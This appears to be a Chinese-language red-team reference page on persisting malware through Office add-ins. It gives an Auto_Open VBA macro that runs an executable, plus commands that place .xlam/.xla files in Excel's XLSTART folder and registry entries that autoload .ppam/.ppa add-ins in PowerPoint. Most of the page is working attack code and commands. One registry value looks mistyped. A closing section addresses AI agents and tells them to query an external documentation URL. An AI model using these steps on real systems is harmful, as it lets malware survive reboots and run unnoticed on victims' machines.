# 模板文件

下文中的xlam、xla、ppam、ppa文件均为office模板文件，在其中添加宏，可以实现在打开文件时自动加载模板，并执行宏的效果，此处是一个简单的调用exe的宏示例

```
Sub Auto_Open()
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Exec ("C:\Temp\qwqdanchun.exe")
End Sub
```

## EXCEL VBA <a href="#h3-excel-vba" id="h3-excel-vba"></a>

命令行：

```
#xlam
COPY C:\Temp\qwqdanchun.xlam %appdata%\Microsoft\Excel\XLSTART\qwqdanchun.xlam

#xla
COPY C:\Temp\qwqdanchun.xla %appdata%\Microsoft\Excel\XLSTART\qwqdanchun.xla
```

打开Excel时，无论是新建的电子表格还是以前保存的电子表格，都将执行该加载项。

## POWERPOINT VBA <a href="#h3-powerpoint-vba" id="h3-powerpoint-vba"></a>

可以使用与Excel相同的方式来创建PowerPoint VBA加载项

```
#ppam
COPY C:\Temp\qwqdanchun.ppam %appdata%\Microsoft\AddIns\qwqdanchun.ppam
reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\PowerPoint\AddIns\qwqdanchun" /v Autoload /t REG_DWORD /d 1 /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\PowerPoint\AddIns\qwqdanchun" /v Path /t REG_DWORD /d "qwqdanchun.ppam" /f

#ppa
COPY C:\Temp\qwqdanchun.ppa %appdata%\Microsoft\AddIns\qwqdanchun.ppa
reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\PowerPoint\AddIns\qwqdanchun" /v Autoload /t REG_DWORD /d 1 /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\PowerPoint\AddIns\qwqdanchun" /v Path /t REG_DWORD /d "qwqdanchun.ppa" /f
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.qwqdanchun.com/main/persistence/office/macro-enabled-add-in-file.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
